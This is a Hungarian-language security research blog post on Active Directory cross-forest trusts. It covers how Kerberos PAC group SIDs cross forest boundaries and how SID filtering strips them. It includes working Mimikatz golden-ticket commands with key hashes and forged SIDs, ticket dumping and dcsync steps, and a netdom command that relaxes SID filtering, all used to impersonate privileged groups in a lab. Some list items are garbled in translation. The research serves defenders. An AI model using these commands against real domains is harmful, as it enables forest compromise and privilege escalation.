Ez az első bejegyzés az erdőközi Active Directory megbízásokról szóló sorozatban. Elmagyarázza, hogy pontosan mik azok az erdei megbízások, és hogyan védjük őket SID-szűréssel. Ha még nem ismeri az Active Directory trustokat, javaslom, hogy először is olvassa el harmj0y részletes útmutatóját róluk. Miután elolvastam a (kiváló) bejegyzését, rengeteg kérdésem volt azzal kapcsolatban, hogy hogyan működik ez valójában a motorháztető alatt, és hogyan hasonlíthatók össze az egyazon AD erdőn belüli bizalmi kapcsolatok a különböző erdők közötti bizalmi kapcsolatokkal. Ez a blogsorozat egyszerre az én utam és dokumentációm arról, hogyan kutattam ezt a témát, és hogyan értem meg most. Készüljön fel a bizalmi megbízások, a Kerberos, a golden tickets, a mimikatz és az impacket mélyreható megismerésére!
Ez a bejegyzés a különböző erdők közötti bizalmi megbízásokat tárgyalja. Az erdő egy vagy több tartomány gyűjteménye, amelyek egy vagy több tartományfa részét képezik. Azokban a szervezetekben, ahol csak egy tartomány van, az a tartomány alkotja az egész erdőt is. A Microsoft dokumentációjában a bizalmi kapcsolatokat gyakran nevezik erdőközi bizalmi kapcsolatoknak (két különböző erdő közötti bizalmi kapcsolatok) vagy erdőn belüli bizalmi kapcsolatoknak (ugyanazon erdőben lévő tartományok közötti bizalmi kapcsolatok). Mivel ezek a szavak mindig összezavarnak, ebben a bejegyzésben vagy erdőn belüli, vagy erdő közötti (vagy erdőközi) bizalmi kapcsolatokként fogok hivatkozni rájuk. Azt is fontos szem előtt tartani, hogy bár két erdő közötti bizalmi kapcsolatokról beszélünk, a bizalmi kapcsolatok mindig tartományok között vannak definiálva. Erdei bizalmi kapcsolatok csak különböző erdők két gyökértartománya között hozhatók létre, így ebben a bejegyzésben az erdei bizalom bármely említése két különböző gyökértartomány közötti bizalmat jelent.
Egy erdőn belül az összes tartomány megbízik egymásban, és az egyik veszélyeztetett tartományból az összes többi tartományba is át lehet lépni, amint azt Sean Metcalf a tartományi bizalomról szóló kutatásában kifejtette. Megismétlem: Az Active Directory tartomány nem biztonsági határ, az Active Directory erdő az.
A biztonsági azonosítókról (SID) is beszélni fogunk. A SID egy olyan dolog, amely egyedileg azonosít egy biztonsági megbízót, például egy felhasználót, csoportot vagy tartományt. A teszterdők egyik tartománya SID S-1-5-21-3286968501-24975625-1618430583. A jól ismert Domain Admins csoport, amelynek azonosítója 512, a tartomány SID-jéből és az azonosítóból (az AD terminológiában RID-nek nevezik) álló SID-vel rendelkezik, így ebben a tartományban a SID S-1-5-21-3286968501-24975625-1618430583-512.
A beállítás
A beállítás 3 Active Directory erdőt tartalmaz: Mind az A, mind a C erdőnek kétirányú tranzitív Forest trustja van a B erdővel (hogy ez pontosan mit jelent, arra később térünk ki). Az A és a C erdő között nincs bizalmi kapcsolat. Az A erdő az egyetlen erdő, amelynek két tartománya van: forest-a.local és sub.forest-a.local. Mivel ezek a tartományok mindketten az A erdőn belül vannak, kétirányú szülő-gyermek bizalmi viszonyban állnak egymással. A beállítás a következő képen látható:
A forest-a és forest-b tartományok egy tartományvezérlőt és egy tagkiszolgálót is tartalmaznak (a képen nem látható), a többi tartomány csak egyetlen tartományvezérlőből áll. Ez az egész beállítás az Azure-ban fut, és a Terraformon keresztül kezeljük, amely a virtuális gépeket, a hálózatokat, a DNS-t és az erdő beállítását kezeli, míg a Trustokat kézzel állítottuk be utólag.
Az A-tól B-ig, mi van a PAC-ban?
Tegyük fel, hogy az A erdőben vagyunk, és a B erdőben lévő erőforrásokhoz szeretnénk hozzáférni. Megvan a Kerberos Ticket Granting Ticket (TGT), amely az A erdő gyökértartományában érvényes, amelyben éppen vagyunk (kényelmesen forest-a). Amikor a jelenlegi tartományunkon kívüli erőforrásokhoz akarunk hozzáférni (akár ugyanabban az erdőben, akár egy másik erdőben), a Windowsnak szüksége van egy szolgáltatási jegyre az adott erőforráshoz, ebben a példában forest-b-server.forest-b.local. A forest-a-hez tartozó TGT-nk természetesen használhatatlan a forest-b-ben, mivel a forest-a-ben lévő krbtgt fiók hash-jával van titkosítva, amivel a forest-b nem rendelkezik. A Kerberos szempontjából egy másik birodalomban hitelesítjük magunkat. Tehát amit az ügyfelünk a háttérben csinál, az az, hogy a forest-a tartományvezérlőnél (DC) szolgáltatási jegyet kér a forest-b-ben elérni kívánt erőforráshoz. A DC (ami Kerberos-kifejezésben egy kulcselosztó központ, vagy KDC) nem rendelkezik helyben forest-b.local utótagú erőforrással, ezért olyan erdőkkel való bizalmi kapcsolatokat keres, amelyek rendelkeznek ezzel az utótaggal.
Mivel az A és a B erdő között kétirányú bizalom van, a forest-a DC ki tud nekünk adni egy utaló jegyet (TGT) a forest-b-be. Ez a jegy a Kerberos inter-realm bizalmi kulccsal van aláírva, és tartalmazza azokat a csoportokat, amelyeknek a forest-a-ben tagjai vagyunk. A Forest B elfogadja ezt a jegyet, és egy szolgáltatási jegyet ad nekünk a forest-b-server-hez, amelyet a hitelesítéshez használhatunk. Az alábbiakban egy sematikus áttekintés látható:
Amikor az A erdőben lévő munkaállomásunkon csatlakozunk a B erdőben lévő kiszolgálóhoz, a klist paranccsal láthatjuk a jegyeket:
A második jegy felülről a kezdeti TGT-nk, amellyel a forest-b TGT-jét kérhetjük. Láthatjuk, hogy ez a TGT a forest-b számára (felül) a krbtgt megbízó a forest-b szerver mezőben szerepel. Ez az A erdőben lévő fiók, amely a bizalomhoz tartozik (ennek a fióknak a neve forest-b$, és a könyvtár Users részében található). Ennek titkosított része a tartományok közötti bizalmi kulccsal van titkosítva, amelyen ezek a tartományok osztoznak.
A harmadik jegy felülről az a jegy, amellyel a B erdőben kapcsolatba léphetünk az ottani kiszolgálóval. Ez egy szolgáltatási jegy, amelyet a B erdőben lévő DC adott nekünk. Amint a Kiszolgáló mezőben láthatjuk, ezt a jegyet a FOREST-B.LOCAL Kerberos-realmban adták ki és érvényes.
Most merüljünk bele, hogy mi is van valójában ebben a jegyben. A Windows által kért minden Kerberos TGT tartalmaz egy Privilege Attribute Certificate-et, azaz PAC-ot. A formátumot az MS-PAC az MSDN-en található MS-PAC leírja. Ez a PAC tartalmazza többek között azoknak a csoportoknak az SID-jét, amelyeknek a tagjai vagyunk. Ahhoz, hogy megnézhessük, mi is van valójában a PAC-ban, először is elő kell vennünk a jegyeket a memóriából. Ehhez a Mimikatz-t fogjuk használni, amivel a sekurlsa::tickets /export paranccsal az összes Kerberos jegyet ki tudjuk dumpolni a lemezre. Bár a Mimikatz valóban tartalmaz némi Kerberos hibakereső kódot, nem tudtam rájönni, hogyan működik, és nem tudok C-t írni, így bármit is módosítani amúgy sem jöhetett szóba. Szerencsére a kedvenc Python könyvtáram, az impacket mindenféle Kerberos dolgot támogat. Az impacket a Kerberos jegyeket ccache formátumban fogadja, ami nem a Mimikatz által exportált formátum, de ezeket könnyen konvertálhatjuk a kekeo segítségével. Csak a misc::convert ccache ourticket.kirbi parancsot kell futtatnunk, és a Kekeo elmenti egy .ccache fájlba, amit az Impackettel olvashatunk.
A PAC dekódolásához írtam néhány segédprogramot impacket példák alapján, amit a kutatás részeként adok ki. Természetesen a Kerberos jegyek titkosított részeinek visszafejtéséhez szükségünk van a titkosítási kulcsokra, így azokat az összes domain esetében kinyertem a secretsdump.py és annak dcsync implementációja segítségével. Az első TGT-hez hozzá kell adnunk a krbtgt hash-t a fájlhoz. A fenti képernyőkép alapján látható, hogy szükségünk lesz a secretsdump által dömpingelt aes256-cts-hmac-sha1-96 kulcsra.
A getcfST.py eszköz arra szolgál, hogy a .ccache fájlban lévő TGT alapján (a használni kívánt fájlt a export KRB5CCNAME=myticket.ccaches-vel adhatjuk meg) egy másik erdőben lévő Service Ticketet kérjünk. Ez visszafejti és kiüríti a teljes PAC-ot, amelynek kimenete itt látható az érdeklődők számára. Hozzáadtam néhány sor kódot, amely a számunkra fontos részeket kiírja egy ember számára olvashatóbb formátumban:
Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Ez egy eléggé alapértelmezett PAC. Látjuk, hogy több csoport tagja vagyunk, és mivel ez a Forest A rendszergazdai fiókja (ID 500, bár más neve van), amivel jelenleg tesztelünk, több alapértelmezett admin csoportnak is tagja, mint például a Domain Admins (512) és a Enterprise Admins (519). Megvan az Extra SID S-1-18-1 is, ami azt jelzi, hogy a hitelesítő adatok birtoklásának igazolása alapján hitelesítünk.
A második TGT visszafejtéséhez a krbtgt fiók kulcsát meg kell változtatnunk a forest-b$ fiók kulcsára, ami a tartományok közötti bizalmi kulcs. Ebben az esetben a PAC RC4-gyel van titkosítva, ami az NT hash-t használja bemenetként (igen, azt, amit a pass-the-hash-hez használsz). Ez az alapértelmezett, kivéve, ha a “A másik tartomány támogatja a Kerberos AES titkosítást” jelölőnégyzet be van jelölve. Amint az a nyers dumpban látható, a PAC nem változott, ami alátámasztja azt a feltételezést, hogy a DC csak újra titkosítja a PAC-ot a jegy részeként a Forest B tartományok közötti bizalmi kulccsal.
A TGS egy kicsit más történet. Eltekintve attól, hogy a getcfST.py példában néhány változtatásra van szükség, és meg kell adni a forest-b-server számítógépfiók AES-256 kulcsát a visszafejtéshez, láthatjuk, hogy több információ került a PAC-hoz (nyers dump itt):
Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Láthatjuk, hogy egy új szakasz került hozzá, amely tartalmazza a forest-b tartomány Domain SID-jét és egy csoportot, amelynek a fiókunk tagja a Forest B-ben. Ezek az SID-k a PAC ResourceGroup struktúráinak részét képezik, és a forest-b tartományban lévő bármely tartományi helyi csoport tagságának tárolására szolgálnak. Amint azt harmj0y ebben a bejegyzésben elmagyarázta, a tartományi helyi csoportok az egyetlen olyan csoportok, amelyek más erdőkből származó biztonsági megbízókat tartalmazhatnak. A forest-b tartományban az A erdőből származó superuser felhasználónk tagja a Testgroup2 csoportnak, amit alább láthatunk.
Mivel ez tükröződik a PAC-unkon belül, amelyet a Kerberos Service Ticket segítségével hitelesített szerverek használnak a felhatalmazáshoz, a Testgroup2-hez rendelt jogosultságok a másik erdőből származó szuperfelhasználói fiókra vonatkoznak. Így működik a hitelesítés és az engedélyezés a bizalmi állományok között.
Az arany jegyek és a SID-szűrés
Pár évvel ezelőtt Sean Metcalf és Benjamin Delphy együtt dolgozott azon, hogy a Mimikatzhoz hozzáadják a SID-előzmények támogatását, ami lehetővé tette az egyik Active Directory tartományból egy másikba történő eszkalálást ugyanazon az erdőn belül. Az ehhez szükséges eljárást itt részletezzük. Hogyan fordítható ez le egy másik erdővel való bizalmi kapcsolatokra? Hozzunk létre egy arany jegyet néhány érdekes SID-vel, hogy megnézzük, hogyan történik a feldolgozásuk, amikor átlépik az erdőhatárt. A következő Mimikatz paranccsal hozzunk létre egy golden ticketet a jelenlegi erdőnkben:
kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /pttBontjuk le ezt a parancsot. Létrehozunk egy arany jegyet a forest-a-ben, a forest-a krbtgt hash-jával aláírva. Extra SID-ként néhány érdekes SID-t is felveszünk:
-
S-1-5-21-3286968501-24975625-1618430583-1604, egy olyan csoport SID-jét, amelynek valójában nem vagyunk tagjai -
S-1-5-21-3286968501-24975625-1111111111-1605, egy olyan tartomány SID-jét, amely valójában nem létezik -
S-1-18-1, a Windows által hozzáadott SID-t, amely jelzi, hogy hitelesítettünk a credentals birtoklásának igazolásával -
S-1-5-21-2897307217-3322366030-3810619207-1106, egyforest-b
A /ptt jelzővel a jegyet a memóriába injektáljuk, és a \forest-b-server.forest-b.local-be történő böngészéskor nem látunk semmilyen hibaüzenetet, ami azt jelzi, hogy a jegyet sikeresen használtuk egy forest-b-ben lévő erőforrás eléréséhez. A jegyeket a korábbiak szerint exportáljuk, és ugyanúgy visszafejtjük őket, mint az előző szakaszban.
A forest-a TGT-je a várt SID-eket tartalmazza:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106A TGT, amelyet a forest-a tartományvezérlőjétől a forest-b-hez kaptunk, a tartományközi bizalmi kulccsal aláírva, valójában pontosan ugyanezt az információt tartalmazza:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Ez ismét arra utal, hogy a DC nem érvényesíti a PAC-ot, hanem csak újra aláírja a forest-b-realm-közi kulccsal, annak ellenére, hogy olyan csoportot tartalmaz, amelynek valójában nem vagyunk tagjai.
Mihelyt ezt a TGT-t bemutatjuk a DC-nek a forest-b-ben, visszakapjuk a Service Ticketünket, amely a következő PAC-ot tartalmazza:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Mi történt itt? Látjuk, hogy ismét a forest-b tartományban lévő tagságaink kerültek hozzá a PAC-hoz, de néhány SID kiszűrésre került. Itt lépett működésbe a SID-szűrés biztonsági mechanizmusa, amely kiszűr minden olyan SID-t, amely nem a forest-a része. A SID-szűrés szabályait az MSDN tartalmazza. Érdekesek itt a ForestSpecific bejegyzéssel rendelkező szabályok. Ezek a SID-k csak az erdőn belüli PAC-ból engedélyezettek. Mivel a mi PAC-unk az erdőn kívülről származik, ezek a SID-ek mindig ki lesznek szűrve a mi PAC-unkból. A ForestSpecific után következő 3 szabály gondoskodik arról, hogy minden olyan SID kiszűrésre kerüljön, amely nem az A erdőből származik. Ez magában foglalja mind az általunk megadott, nem létező SID-t, mind a B erdőben létező, nem ForestSpecific SID-t.
Ez továbbra is lehetővé teszi, hogy az A erdő bármely felhasználójának adjuk ki magunkat, így ha az A erdőből származó felhasználók különleges jogosultságokat kaptak a B erdőben (valószínűleg ezért jött létre az egész bizalom), akkor ezek most veszélybe kerülnek.
SID-szűrés lazítása
Az, ami már a kutatás elején megragadta a figyelmemet, az egy olyan opció a bizalmakhoz, amely csak a netdom eszközön keresztül érhető el, és nem jelenik meg a grafikus felületen. A Microsoft dokumentációjának egyik oldala leírja a SID-előzmények engedélyezését az erdőkön átívelő trösztökön. Mit tesz ez? Engedélyezzük a SID-előzményeket a B erdőből az A erdőbe irányuló megbízáson (ami az A erdőből B-ben hitelesítő felhasználókat érinti):
C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.Szóval mi változott? Nézzük meg, hogy ez hogyan fordítható le a Trusted Domain Object TrustAttributes jelzőjére. Ezt több eszközzel is lekérdezhetjük, az alábbiakban a B erdővel szemben futtatott ldapdomaindump domain_trusts.html fájl kimenete látható, amely egy olyan eszköz, amelyet nemrég írtam AD-információk gyűjtésére.
Az A erdővel való bizalmunk most a TREAT_AS_EXTERNAL flaggel rendelkezik. A Microsoft vonatkozó dokumentációjában a következőket írja:
Ha ez a bit be van állítva, akkor az erdőn átnyúló bizalom egy tartományhoz külső bizalomként kezelendő a SID-szűrés szempontjából. Az erdőközi bizalmi kapcsolatok szigorúbban kerülnek szűrésre, mint a külső bizalmi kapcsolatok. Ez az attribútum ezeket az erdőközi bizalmi kapcsolatokat a külső bizalmi kapcsolatokkal egyenértékűvé teszi. Az egyes megbízhatósági típusok szűrésének módjáról további információkat a 4.1.2.2. szakaszban talál.
Ez visszautal a SID-szűrést leíró szakaszra. Nézzük csak meg, mi történik, ha ugyanazt a TGT-t kínáljuk fel a forest-b DC-vel szemben:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)A forest-b DC-ből származó szolgáltatási jegyünk most már tartalmazza az összes SID-t, amelyet a korábbi Mimikatz jegyünkbe tettünk! Ez azt jelenti, hogy bármilyen SID-t megadhatunk, amely nincs ForestSpecific-ként szűrve a PAC-unkban, és a B erdő DC-je el fogja fogadni.
Hozzunk létre egy új arany jegyet néhány további SID-vel, hogy teszteljük ezt a hipotézist:
kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101Az itt szereplő új SID-ek:
-
S-1-5-21-2897307217-3322366030-3810619207-512: ForestSpecific rule -
S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise Admins, a ForestSpecific rule -
S-1-5-21-2897307217-3322366030-3810619207-548explicit ForestSpecific rule -
S-1-5-21-2897307217-3322366030-3810619207-548segítségével kell szűrni: Account Operators, az 500 és 1000 közötti SID-ket tiltó ForestSpecific szabállyal kell szűrni. -
S-1-5-21-2897307217-3322366030-3810619207-3101: Is a group that is a member of Domain Admins, not should be filtered.
Amint talán észrevetted, a fentieket valójában a tartományközi bizalmi kulccsal írjuk alá, így itt közvetlenül a Forest B-re érvényes TGT-t hozzuk létre, hogy kihagyjuk a Forest A DC-nek való felajánlás lépését.
Most a következőket kapjuk vissza a szolgáltatási jegyünk PAC-jában:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Megjegyzendő néhány dolog:
- A DA/EA/Account Operators csoportokat valóban eltávolítja a SID-szűrés
- A Domain Admins csoport nem kerül a PAC
ResourceGrouprészébe, pedig a 3101-es csoport közvetlen tagja ennek a csoportnak. Ennek az az oka, hogy a Domain Admins csoport egy globális csoport, míg a PAC-ban csak a tartományi helyi csoportok kerülnek hozzáadásra.
A támadó számára ez azt jelenti, hogy bármelyik RID >1000 csoportot meghamisíthatja, ha a SID előzmények engedélyezve vannak egy Forest trustban! A legtöbb környezetben ez lehetővé teszi a támadó számára, hogy veszélyeztesse az erdőt. Például az Exchange biztonsági csoportok, amelyek sok beállításban lehetővé teszik a jogosultságok DA-ra való kiterjesztését, mind 1000-nél nagyobb RID-vel rendelkeznek. Emellett sok szervezetnek vannak egyéni csoportjai a munkaállomás adminok vagy helpdeskek számára, amelyek helyi rendszergazdai jogosultságokat kapnak a munkaállomásokon vagy kiszolgálókon. Például most adtam a IT-Admins csoportnak (a 3101-es RID azonosítóval, amely az arany jegyünk része) rendszergazdai jogosultságokat a forest-b-server gépen. Miután kicseréltük a TGT-nket egy Service Ticketre, ezzel a jeggyel tudunk hitelesíteni a gépen:
Következtetések
Az erdőn átnyúló bizalmi kapcsolatok alapértelmezés szerint szigorúan szűrtek, és nem engedik, hogy az adott erdőn kívüli SID-k a bizalmon keresztül közlekedjenek. Egy támadó, aki kompromittál egy olyan erdőt, amelyben megbízik, azonban megszemélyesítheti magát az adott erdő bármely felhasználójának, és így hozzáférhet olyan erőforrásokhoz, amelyeket kifejezetten az adott erdő felhasználói/csoportjai számára engedélyeztek.
Ha a SID-előzmények engedélyezve vannak egy erdőközi bizalom esetében, a biztonság jelentősen meggyengül, és a támadók bármely 1000-nél nagyobb RID-vel rendelkező csoport tagjának kiadhatják magukat, ami a legtöbb esetben az erdő kompromittálását eredményezheti.Ha Ön informatikai adminisztrátor, gondosan fontolja meg, hogy a különböző erdőkben mely felhasználóknak ad hozzáférést az erdőben, mert minden egyes felhasználó, akinek hozzáférést biztosít, gyengíti az erdők közötti biztonsági határt. Nem javasolnám a SID előzmények engedélyezését az erdők között, hacsak nem feltétlenül szükséges.
A következő részben (vagy részekben, ki tudja) elmerülünk a bizalom Transzitivitás működésében, és megvitatjuk a bizalom egyéb típusait az erdőn kívüli tartományokkal. Ez azt jelenti, hogy elkezdünk játszani a Forest C-vel és a sub.forest-a-val is.
Az eszközök
Az ebben a bejegyzésben használt eszközök proof-of-conceptként elérhetőek a GitHubomon. Ezek az eszközök kézi módosítást igényelnek ahhoz, hogy használhatóak legyenek, és csak AS-IS állnak rendelkezésre azoknak, akik reprodukálni vagy tovább merülni szeretnének ebben a kutatásban.